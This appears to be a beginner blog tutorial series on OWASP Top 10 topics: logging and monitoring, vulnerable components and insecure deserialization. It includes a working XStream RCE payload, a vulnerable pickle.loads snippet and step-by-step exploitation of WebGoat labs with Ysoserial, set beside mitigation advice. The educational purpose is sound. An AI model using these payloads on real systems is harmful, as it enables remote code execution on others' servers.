OWASP publishes new documents are covering new topics. For instance, the OWASP API security project covers security risks related to APIs. Also, you have the OWASP Top 10 Mobile security risks which covers security risks in mobile applications.

Learn infrastructure penetration testing

Testing web applications for security vulnerabilities is good, but what if you want to test the security of a client’s infrastructure. In this case, you have to expand your knowledge and skills further. You can learn about networking, Active Directory and other services. Then, learn how to perform enumeration, scanning, exploitation, privilege escalation and persistence. There are many courses which cover that, I recommend the Offensive Security PWK course.

Practice on hacking platforms and CTFs

When I started my journey in ethical hacking, I’ve learned so much from hacking platforms like root-me and VulnHub. There are many new emerging platforms, which means that the market is expanding and the demand for security testing skills is growing. Some platforms like hackthebox also give you exposure to hiring companies. So it’s a great opportunity for you to learn, practice, have fun and get a job in information security, all at the same time!

Earn money while hacking ethically

If you want to monetize your knowledge, you can get paid when finding security vulnerabilities with the rise of bug bounty hunting platforms like Hackerone, Bugcrowd, YesWeHack, Intigriti among many others. I personally hack on Hackerone.

I hope this OWASP Top 10 guide has opened your eyes to see how wonderful the industry of information security is! You now have a solid foundation of web application security.

You are now ready to tackle new challenges in your information security career. Good luck!

Insufficient logging and monitoring for beginners

insufficient logging and monitoring

Hello and welcome to this last episode of the OWASP Top 10 series. Today’s subject is about Insufficient logging and monitoring.

The world of information security is an ever-changing landscape. Every day, new vulnerabilities emerge and new exploits get published. However, this is just the tip of the iceberg. In fact, there are so many unknown vulnerabilities which are currently exploited by cybercriminals. Therefore, you can’t be sure that your systems are totally immune even when applying the latest patches and updates.

You need to have a way to detect when and how your assets are being compromised. This is where having efficient logging and monitoring measures comes into play. They are like the immune system of your body so to speak.

What is Insufficient logging and monitoring?

Let’s first understand what is logging and monitoring before discussing how they help in security.

What is logging?

Logging is the process of keeping track of system activities and their interactions. It’s a critical piece of your infrastructure. In fact, it allows you to record when events occur, who initiates them, from where, and what actions have been performed. This had two advantages:

  • Firstly, you are building a database which you will use to define metrics and alerts based on specific events, like the number of login attempts. 
  • Secondly, you can use the logged data for any further investigations should any security incident happen.

What is monitoring?

Monitoring consists of constantly observing the logs of a system and searching for anomalies. There are many approaches to monitoring. From defining manual thresholds and metrics to leveraging Artificial Intelligence algorithms. The goal is to spot any malfunctions or deviations from your normal system’s activity.

The lack of proper logging and monitoring in your systems is a bad practice. In fact, when attackers infiltrate a target, they usually generate logs which don’t correspond to your normal system activity. If you can’t monitor and detect such deviations, you are creating a blind spot for attackers to take advantage of.

Insufficient logging and monitoring attack

There are many insufficient logging and monitoring example breaches. One of the big recent incidents affected the giant firm Citrix. In fact, attackers found a weak password as a result of a password spraying attack. Unfortunately, they haven’t been aware until notified by the FBI about a breach which led to 6TB of stolen data.

Insufficient logging and monitoring allowed hackers to take their time to infiltrate inside the Citrix network and exfiltrate 6TB of data.
Insufficient logging and monitoring allowed hackers to take their time to infiltrate inside the Citrix network and exfiltrate 6TB of data.

Insufficient logging and monitoring impact

As you saw in the attack examples section above, insufficient logging and monitoring give enough room for cybercriminals to cause the biggest damage possible. In other words, they can breach your perimeter, pivot inside your networks, steal data, persist their existence, spy on you and get away with it. The worst part is that you will probably never detect the attack. Think of this as your systems suffering from HIV, any threat can be deadly.

How to prevent Insufficient logging and monitoring?

There are many things you need to implement for efficient logging and monitoring:

  • Invest in a logging and monitoring solution.
  • Define security metrics which trigger an alert if a certain threshold is met. For instance, if you receive too many login requests from a user, your monitoring system should raise an alert.
  • Make sure you dedicate enough human resources to handle the reported alerts. Otherwise, you will not benefit from your investment.
  • Test your logging and monitoring systems during a penetration testing to verify if you can detect and understand what the penetration testers are doing.
  • Keep testing and enhancing your alerts and incident handling processes. 
  • If you choose to implement your own logging and monitoring features, make sure you don’t introduce security vulnerabilities.

You can read more on OWASP Insufficient logging and monitoring cheat sheet and proactive controls.

As usual, here is the video tutorial:

Using components with known vulnerabilities

Hello dear readers and welcome to this new OWASP Top 10 episode. Today, you will learn why using components with known vulnerabilities is bad, how to exploit it and how to mitigate it.

So far, we’ve seen how you can write secure code which doesn’t expose security vulnerabilities. However, you might write 100% secure code and still be vulnerable. How is that possible? Well, through the usage of vulnerable components. In this episode, we will address just that!

This is the plan for this episode:

  • We will explore how developers might unintentionally be using components with known vulnerabilities.
  • From there, we will explore how to detect and exploit vulnerable components?
  • Then, we will practice on examples in OWASP WebGoat and Juice Shop
  • Also, we will discover some real-world attacks leveraging insecure components.
  • How this vulnerability might affect security?
  • Finally, we will explore how you can mitigate this issue and some tools to help you along the way.

How are you unintentionally using components with known vulnerabilities?

Unless you are writing a really simple function which doesn’t do much, you will reuse software of other people. From development to deployment, you will use libraries, frameworks, technologies, etc. And guess what! Those third-party components will also depend on other components!

This comes at a cost. In fact, part of the third-party software components you will reuse will suffer from security vulnerabilities. Besides, you might even be using some malicious components. Therefore, checking your code is a need, not a luxury.

Let’s first understand how attackers find and exploit vulnerable components.

How to detect and exploit vulnerable components?

When you hunt for assets which use components with known vulnerabilities, the first step is to fingerprint the technologies.

Step 1: Fingerprint technologies

During this step, you should gather the names and versions of the technologies which the application uses. You can use many techniques.

Checking known HTML elements

Usually, the HTTP traffic contains hints like names of Cookies, HTTP headers, title values and links, etc. However, you might not recognize most of them. Therefore, you can use tools to assist you. For example, the Wappalyzer browser extension fingerprints the technologies based on elements of the HTML page and HTTP headers.

Triggering errors

Sometimes, you can trigger verbose errors which give you a hint on the technologies being used. This is where fuzzing is handy. For example, you can remove expected parameters, send unexpected values, etc. If you receive an error, it usually contains some hints about the stack.

Forced browsing

You can directly access known directories using some publicly available dictionaries to look for typical login portals, README files, etc. which might contain the name and the version of the components. Better yet, if you find files like package.json or bower.json, you will have access to the list of all libraries and versions. You can see this is the video tutorial at the end of this blog post.

Source code

If you have access to the source code, don’t hesitate to collect the dependencies. You will have full visibility of the components being used.

Step 2: Find public vulnerabilities and exploit the weak components

If you are lucky, you might find CVEs with public exploits on multiple online resources, such as Exploit DB for public exploits, Snyk for open source libraries and CVE databases for vulnerabilities. From there, you can either directly use the public exploits or try to exploit the CVE you found in the CVEs database.

Never blindly execute public exploits without first understanding what they do! Sometimes, they contain malicious code which will exploit your machine.

Practice examples of using components with known vulnerabilities

In this section, we will see how both vulnerable and malicious libraries can affect the security of your own code.

Outdated or vulnerable dependencies

The most obvious case of reusing insecure components is when they suffer from security vulnerabilities. For instance, OWASP WebGoat uses a vulnerable version of the Xstream library to transform an XML document into a Java object. In the pom.xml file, notice that the library’s version 1.4.5.

OWASP WebGoat using components with known vulnerabilities: Xstream 1.4.5
OWASP WebGoat using components with known vulnerabilities: Xstream 1.4.5

Looking for public exploits on the internet reveals that this version suffers from a severe deserialization vulnerability, which leads to remote code execution.

Sending the following code will create the file /tmp/here on the docker container.

<sorted-set>
<string>foo</string>
  <dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class='java.beans.EventHandler'>
      <target class='java.lang.ProcessBuilder'>
        <command>
          <string>touch</string><string>/tmp/here</string>
        </command>
      </target>
      <action>start</action>
    </handler>
  </dynamic-proxy>
</sorted-set>

You can see this in action on the video tutorial linked at the end of this blog post.

Malicious components and Typosquatting

Sometimes, developers might reuse a rogue component which resembles the legitimate one. This is known as Typosquatting. It is a scary thing! Especially when the malicious library is widely used by other projects. For instance, this GitHub issue reports how the attacker has been exfiltrating SSH keys and internal files using a rogue module which he had named python3-dateutil. This name was not randomly chosen. In fact, the legitimate module name is python-dateutil. Unfortunately, a few hundred developers fell for it. 

Using components with known vulnerabilities : Malicious Python package  python3-dateutil exfiltrates internal files
Using components with known vulnerabilities : Malicious Python package python3-dateutil exfiltrates internal files

On OWASP Juice Shop, I am demonstrating a typosquatting issue on the video tutorial linked at the end of this blog post.

Real-world attack examples of using components with known vulnerabilities

In this section, we will explore some real-world attacks which leveraged vulnerable components.

The most famous attack in the real-world

Probably, the most famous manifestation of this issue would be the Equifax breach. In fact, the entry point was a vulnerable version of Struts, CVE-2017-5638, to gain remote code execution and pivot inside the Equifax network and steal more than 140M customers’ personal information.

Bug bounty hunting reports

In this write-up, the hacker demonstrates how he was able to develop exploits against a vulnerable WordPress plugin when no public exploits were available. He exploited a SQL injection, a CSRF and an XSS vulnerability. This is a demonstration of how you can use a CVE to write your own exploit.

You also have this report which demonstrates how the hacker was able to exploit an XSS vulnerability due to a vulnerable version of the Tinymce library. As a side note for bug bounty hunters, note how a valid proof-of-concept can greatly impact the quality and the reward of the report.

Impact of using components with known vulnerabilities

Generally, this issue can lead to severe breaches. On the one hand, your code will be vulnerable to whatever the component is vulnerable to. On the other hand, rogue libraries will definitely affect you since they purposely leverage your code to steal your sensitive data.

How to prevent using components with known vulnerabilities?

To prevent this issue, the ideal solution would be to never trust third-party components unless you are sure of their safety. Unfortunately, this is easier said than done. In fact, it is not realistic to manually verify all the libraries you are using in your code.

In this article, Snyk explains how a library was stealing bitcoins. I recommend you read it, but here are the takeaways:

  • The widely used event-stream package contained a malicious package named flatmap-stream.
  • The event-stream package was not actively maintained: This is a criterion you should take into consideration. You should prefer components with a healthy community.
  • Mitigating the risk would simply involve removing the rogue library. However, this is not scalable due to the considerable number of components you are using. Therefore, you should constantly and automatically monitor your dependencies. Snyk provides this feature. But in general, you must have a dependency checking process for all your projects. For example, OWASP provides this dependency checker for Java projects.

Additionally, you should implement the following:

  • Have a patch management process which helps you detect and patch vulnerable components using public CVE databases.
  • Additionally, you should apply some behavioural analysis to spot any unusual activity. For instance, you should inspect any server initiating requests to external servers. You can use tools such as Rita for this purpose.

As usual, here is your video tutorial

Insecure Deserialization explained with examples

insecure deserialization

Hello ethical hackers and welcome to this new episode of the OWASP Top 10 vulnerabilities series. In this blog post, you will learn Insecure Deserialization vulnerability. The plan is as follows:

  • Insecure deserialization definition: This where you will learn the key terminologies and concepts behind this vulnerability, 
  • Examples of insecure deserialization in different programming languages: We will explore simple examples on PHP, Python and JAVA to help you understand how the vulnerability works.
  • What is the impact: In this section, you will understand how bad insecure deserialization can be.
  • Are there any real-world examples? In this section, we will explore many known CVEs which exploited this vulnerability. Some of them are insecure deserialization bug bounty reports from Hackerone.
  • How to exploit it? This is where you will learn to go beyond running tools. You will perform white box testing and build custom code to solve a challenge on OWASP WebGoat.
  • Finally, we will talk about how to mitigate insecure deserialization.

What is insecure deserialization?

Let’s first understand the whole picture here. When you learn a programming language, the first thing you learn is how to define variables, classes and data structures that best suit your needs. Then, you learn how to manipulate them to achieve your needs. So far, they reside in memory, but sometimes, you need to store their states or share them with other systems. That’s where serialization and deserialization come into play.

What is Serialization?

Let’s say that you are playing with a character in a game. While you see the character on the screen, the software sees and manipulates an object residing in memory.

What if the game wants to store the state of that character in a file or share it with other systems? There should be a way to transform the in-memory object into a stream of bytes which can be easily stored and shared. That is what the process of serialization is all about. When the game performs the serialization of an object, we say that the object is serialized.

What is Deserialization?

Deserialization is the opposite of serialization. In fact, it consists of converting the serialized data into an in-memory representation which the software can then manipulate. Continuing on the previous example, when the game wants to retrieve the state of the serialized character object, it needs to deserialize it first.

What can go wrong here?

When a software deserializes user-controlled data without verification, we call it insecure deserialization. In our game example, an attacker might store a serialized file representing a malicious payload. If the developer doesn’t perform a verification before deserialization, the insecure deserialization will trigger the attacker’s code.

Insecure deserialization examples

All the code discussed in this section is hosted on GitHub. Feel free to download it and follow along.

You find insecure deserialization in so many programming languages and technologies. We will explore it in PHP, Python and Java. I highly recommend you follow along with these three exercises on your own machine. If you don’t have one, feel free to download the one I prepared for this course.

Insecure Deserialization in PHP

Also known as PHP object injection, this vulnerability takes advantage of PHP magic functions, like __destruct. Simply put, the vulnerable code defines some dangerous code of a certain class in this function. Then, it performs insecure deserialization somewhere. For example, the file-php-object-injection-example-deserialize-php file contains PHP code which deserializes an arbitrary object from a file named “serial”. Notice that we have two classes: NormalClass which the developer expects, and DangerousClass which resides in the code.

However, an attacker sees this PHP insecure deserialization operation and crafts this code, which will serialize an object of the DangerousClass type, which runs the command “ls” by the application.

Let’s spin up a new Docker container from our lab VM and serialize the malicious payload. We will map the /tmp directories of both the host and the guest. That way, we save the malicious file for later.

docker run -v /tmp:/tmp:rw -it php

Then, copy paste the gist which will perform the serialization and save the malicious file in the host’s /tmp directory. From there, we will spin up a new PHP container which will simulate our vulnerable machine. 

docker run -v /tmp:/tmp:rw -it php

Then, copy paste the gist. Notice that the “ls” command has run!

If we try to unserialize the variable $serial without first declaring the class in the vulnerable machine, we wouldn’t be able to list the current directory. To exploit PHP deserialization using the unserialize function, there are two requirements:

  • The vulnerable server has to define a class which define a __destruct function that runs dangerous code
  • The attacker should be able to control the unserialized data.

Another form of PHP object injection is Phar deserialization. Basically, PHP Archives store the file metadata as serialized objects. When PHP code tries to perform certain operations on a file, the attacker’s code will run. This Hackerone report is an example of that.

Insecure Deserialization in Python

In python, the insecure deserialization pickle vulnerability is overwhelmingly simple! It is sufficient to locate a feature which uses your input in pickle.loads(user_input). Then, craft a code which will generate a serialized payload defining the __reduce__ method. Let’s look at this example:

import pickle

with open('serial', 'r') as f:
    pickle.loads(f.read())

This simple code performs a Python insecure deserialization from a file named serial using the Pickle module. If you go to the module documentation, you can see a red notice which clearly warns you not to deserialize untrusted data. The attacker sees my vulnerable code and generates a serialized payload which will run the OS command “id”.

Now, when you run the vulnerable code, you will get the result of the command “id”.

Java deserialization vulnerability example

In this insecure deserialization java example, we will explore, step-by-step, how we can exploit insecure deserialization in Java. The code defines a class with the name NormalObj, which does nothing but print the name attribute when the deserialization happens. This behaviour is defined in the readObject method. However, there is also another class that I called VulnObj, which is not called anywhere in the code. The VulnObj class defines a readObject method which runs arbitrary commands when the deserialization happens.

Unfortunately, I assumed that nobody will access the filesystem. Therefore, I blindly performed deserialization from the file normalObj.serial without verification.

An attacker sees this buggy code and crafts this program. It serializes a malicious VulnObj object containing the command ls. Then, it stores it on disk with the name normalObj.serial, the same name as the expected one from my code.

Exploiting this Java insecure deserialization use case

We will now compile our code and execute it. For that, I will use a java docker image because I will need two separate machines simulating the attacker’s and the victim’s. You already have Docker installed in the free lab available for you. I recommend you connect to it and follow along. If you already have a lab of your own with Docker installed, that’s great!

We will start a brand new container while mapping the /tmp directory in our host to the /tmp directory in the guest. That way, we can get the serialized file and use it later.

docker run -it -v /tmp:/tmp:rw java /bin/bash

When you get the prompt, download the JavaSerial.java code available in this gist. Then, we will compile the code and run it

javac JavaSerial.java && java JavaSerial && exit

Now we will spin up the victim’s Docker container 

docker run -v /tmp:/tmp:rw java /bin/bash

The, we will download the JavaDeserial.java file. Finally, we will compile and execute our deserialization operation

javac JavaDeserial.java && java JavaDeserial

Notice how we get the directory listing of the /tmp directory, meaning that the command ls has been executed even if the application didn’t expect to use the VulnObj in the code at all.

If you find it difficult to understand the code, don’t worry, there are only two things to remember from this example:

  • The deserialization code has run our own ls command from the stored file without any verification even if the deserialized object is expected to be of NormalObj type.
  • The second important thing to note is the magic number of the serialized object. Let’s base64 encode the stored file and discover it.
cat vulnobj.serial | base64 
#Result will be rO0ABXXXXXXXXXXXXXXXXXXXXXXXXXXX

The idea I want you to remember is whenever you encounter rO0AB in a base64 string in an application, think about testing it against the Java insecure deserialization vulnerability.

Insecure deserialization impact

As you saw so far, a successful attack leads to arbitrary code execution. This means that the impact will damage Confidentiality, Integrity and Availability. However, if the attacker can’t build the right serialized payload, he can still trigger an exception and crash the server, therefore impacting Availability.

Insecure deserialization tools

There are many tools which can assist you when you are hunting for insecure deserialization vulnerabilities. In the case of Java, you can use the Java Deserialization Scanner Burp Suite extension. It allows you to test for different libraries using predefined POP gadget chains. Then, you can use Ysoserial to generate the appropriate payload. However, you noticed how these tools didn’t help much in the previous insecure deserialization WebGoat challenge. Therefore, I think that the most valuable tool for this vulnerability would be a good deal of white-box testing, some patience and analysis skills.

Insecure deserialization attacks

Many attacks are exploiting this vulnerability in many different languages. We will explore some of them in this section.

Insecure deserialization attacks

Let’s start with a PHP object injection example. In CVE-2018-20717, Prestashop suffered from a PHP insecure deserialization vulnerability. In this particular case, Prestashop uses user-controlled input in the unserialize function, which is a bad practice as we’ve seen earlier. However, notice how fixing a bad practice by implementing a filter is not a good idea. That CVE is exactly a demonstration of that!

In the world of Java, there is a classic example of Java insecure deserialization with the commons-collection library. Since so many Frameworks use this library, CVE-2015-7501 targets all of them at once. And the impact leads straight to remote code execution. There are even tools which exploit it on the fly.

Insecure deserialization Hackerone reports

In this insecure deserialization write up, you can learn the steps required to achieve a PHP object injection exploit. Notice how a successful attack generally involves going through a series of actions, reading the code and thinking outside the box. However, the general idea that we explained before remains the same and will act as a compass in your hacking journey.

In this insecure deserialization POC, you will find the steps which you can replicate when you want to exploit CVE-2015-7501 that we mentioned earlier using the Ysoserial tool. Specifically, it targets Jboss’s JMXInvokerServlet vulnerable servlets.

Finally, this CTF write-up is a great exercise which combines many vulnerabilities, including two insecure deserialization vulnerabilities, to achieve remote code execution.

How to exploit insecure deserialization?

In this tutorial, we will exploit a Java insecure deserialization on OWASP WebGoat.

Insecure deserialization detection

A lot of people wonder how to detect insecure deserialization vulnerabilities in Java. Well, it’s no magic. In our case, we will first perform a black-box approach. Therefore, we will explore the application until we find a payload which starts with rO0AB as we explained earlier. In challenge 5, under the Insecure deserialization menu, notice how the application expects a serialized java object.

How to test insecure deserialization ?

The easiest way to exploit it is to follow the instructions that we mentioned earlier in the Jboss Hackerone write-up. In other words, you generate a payload using the Ysoserial tool. Optionally, you can use the Java Deserialization Scanner Burp plugin to detect which library to build your payload on. This is well documented here. However, the latest release of WebGoat performs some checks before deserialization. In fact, In line 57 of the challenge source code file, WebGoat checks if the object to deserialize is an instance of the VulnerableTaskHolder class. Likely for us, this class performs OS commands in line 56. The taskAction attribute holds the command from the input which we control in the constructor.

Insecure deserialization : The VulnerableTaskHolder class accepts the taskAction in its constructor
Insecure deserialization : The VulnerableTaskHolder class accepts the taskAction in its constructor

Generate the payload

Now that we found the right class to serialize as well as where to inject our command. The goal is to cause a sleep of 5 seconds on the application. I’ve prepared the following gist which stores the serialized payload in a file on disk, exactly like we did in our previous Java insecure deserialization example.

I’ve downloaded the WebGoat release code. Then, I’ve used my IDE to create a Java class in the vulnerable package and pasted the gist. Finally, always from my IDE, I run the code which generates my serial file.

Exploiting the vulnerability

Now that we have the malicious payload, we simply need to base64 encode it and send it in the application’s input field.

cat serial | base64 -w0

Notice how the payload starts with rO0AB.

Insecure deserialization: payload ready to be used
Insecure deserialization: payload ready to be used

Sending this payload will effectively cause a sleep of 5 seconds.

Note: The vulnerable class checks if the token is older than 10 minutes. You need to generate one yourself and use it within 10 minutes.

Hopefully, this insecure deserialization tutorial gave you the roadmap of how to research and exploit this vulnerability. For more info about other languages, head to the OWASP insecure deserialization cheat sheet.

Insecure deserialization mitigation

As you might have concluded from what we saw, you should never trust data when you deserialize it. You perform checks on whitelisted classes you expect. This depends on each programming language. For example, Python provides you with the ability to restrict classes. For java, you saw how the WebGoat challenge checks if the serialized data is of type VulnerableTaskHolder.

If you’d want to implement solutions which don’t depend on a language, think about using data formats like JSON or XML, and use digital signatures. You can find more on that in the OWASP insecure deserialization prevention cheat sheet.

Insecure deserialization references

Outro

If you are new to hacking and want to learn the basics, read the Ultimate Guide to OWASP Top 10, which covers both the theory and the hands-on exercises you’ll need to kickstart your career. I have prepared a dedicated hacking lab that you can download and use for free. Many other articles on hacking and bug bounty hunting are available on thehackerish.com.

As usual, here is the video tutorial.